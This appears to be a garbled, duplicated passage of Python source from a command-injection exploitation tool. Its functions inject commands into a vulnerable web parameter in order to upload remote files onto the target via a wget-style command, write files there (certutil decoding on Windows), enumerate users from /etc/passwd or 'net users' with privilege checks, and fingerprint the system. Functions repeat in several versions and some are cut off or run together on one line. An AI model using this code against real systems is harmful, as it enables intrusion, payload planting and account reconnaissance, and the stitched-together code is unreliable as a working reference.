is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
if settings.VERBOSITY_LEVEL >= 1:
print ""
print "\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print "\n" + settings.print_warning_msg(warn_msg)
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(new_line + settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print "\n" + settings.print_warning_msg(warn_msg)
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if settings.VERBOSITY_LEVEL >= 1:
print ""
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print settings.print_warning_msg(warn_msg)
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' o enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" + str(
err_msg) + ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print ""
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if shell:
success_msg = "The '" + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_success_msg(success_msg) +
"\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str(
err_msg) + ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print("")
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL < 1 and _:
print("")
if shell:
info_msg = "The '" + shell + Style.RESET_ALL
info_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) +
"\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
def file_write(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write(
Fore.YELLOW
+ settings.WARNING_SIGN
+ "It seems that the '"
+ file_to_write
+ "' file, does not exists."
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, "r") as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", '"')
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
sys.stdout.write(
Fore.YELLOW
+ settings.WARNING_SIGN
+ "It seems that '"
+ file_to_write
+ "' is not a file."
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
dest_to_write = dest_to_write.replace("\\", "/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/", "\\")
# Chnage directory
cmd = "cd " + path
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + " > " + tmp_filname
if not menu.options.alter_shell:
cmd = '"' + cmd + '"'
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell:
cmd = '"' + cmd + '"'
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
cb_injector.injection_results(response, TAG)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell:
cmd = '"' + cmd + '"'
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
cb_injector.injection_results(response, TAG)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell:
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
cmd = (
settings.FILE_WRITE
+ "'"
+ content
+ "'"
+ " > "
+ "'"
+ dest_to_write
+ "'"
+ separator
+ settings.FILE_READ
+ dest_to_write
)
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
# Check if defined cookie injection.
if menu.options.verbose:
print ""
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(
Style.BRIGHT
+ "\n\n (!) The '"
+ Style.UNDERLINE
+ shell
+ Style.RESET_ALL
+ Style.BRIGHT
+ "' file was created successfully!\n"
+ Style.RESET_ALL
)
sys.stdout.flush()
else:
sys.stdout.write(
Fore.YELLOW
+ "\n"
+ settings.WARNING_SIGN
+ "It seems that you don't have permissions to write the '"
+ dest_to_write
+ "' file."
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
def system_users(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+" if POST request and python alternative shell.
if alter_shell and http_request_method == "POST":
settings.SYS_USERS = settings.SYS_USERS.replace("+", "%2B")
cmd = settings.SYS_USERS
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
if menu.options.verbose:
print ""
sys.stdout.write("\n(*) Executing the 'net users' command to enumerate users entries... ")
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = " ".join(sys_users_list.split())
sys_users_list = sys_users_list.split()
sys.stdout.write(
Style.BRIGHT
+ "\n(!) Identified "
+ str(len(sys_users_list))
+ " entr"
+ ("ies", "y")[len(sys_users_list) == 1]
+ " via 'net users' command.\n"
+ Style.RESET_ALL
)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
"\n (!) Identified "
+ str(len(sys_users_list))
+ " entr"
+ ("ies", "y")[len(sys_users_list) == 1]
+ " in via 'net users' command.\n"
)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
print "(*) Confirming privileges of user '" + sys_users_list[user] + "'... "
cmd = (
"powershell.exe -InputFormat none write-host (([string]$(net user "
+ sys_users_list[user]
+ ")[22..($(net user "
+ sys_users_list[user]
+ ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
)
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
check_privs = output
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
if menu.options.verbose:
print ""
print "\n (" + str(count) + ") '" + Style.BRIGHT + Style.UNDERLINE + sys_users_list[
user
] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to enumerate users entries." + Style.RESET_ALL
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys.stdout.write(
Style.BRIGHT
+ "\n(!) Identified "
+ str(len(sys_users_list))
+ " entr"
+ ("ies", "y")[len(sys_users_list) == 1]
+ " in '"
+ settings.PASSWD_FILE
+ "'.\n"
+ Style.RESET_ALL
)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
"\n (!) Identified "
+ str(len(sys_users_list))
+ " entr"
+ ("ies", "y")[len(sys_users_list) == 1]
+ " in '"
+ settings.PASSWD_FILE
+ "'.\n"
)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if menu.options.verbose:
print ""
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
print " (" + str(count) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
0
] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[
1
] + "). Home directory is in '" + Style.BRIGHT + fields[
2
] + Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
" ("
+ str(count)
+ ") '"
+ fields[0]
+ "'"
+ is_privileged_nh
+ "(uid="
+ fields[1]
+ "). Home directory is in '"
+ fields[2]
+ "'.\n"
)
output_file.close()
except ValueError:
if count == 1:
print Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print("")
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
try:
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err:
sys.stdout.write(Fore.YELLOW +
"\n(^) Warning: It seems that the '" +
file_to_upload + "' file, does not exists. (" +
str(err) + ")" + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The '" +
Style.UNDERLINE + shell + Style.RESET_ALL +
Style.BRIGHT +
"' file was uploaded successfully!" +
Style.RESET_ALL + "\n")
sys.stdout.flush()
else:
sys.stdout.write(
Fore.YELLOW +
"\n(^) Warning: It seems that you don't have permissions to write the '"
+ dest_to_upload + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_os = output
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
if target_os:
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
sys.stdout.write("")
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
target_arch = output
if target_arch:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
raise SystemExit() except ValueError, err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print "" check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == "POST":
settings.SYS_USERS = settings.SYS_USERS.replace("+ ", "%2B")
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
# The main command injection exploitation.
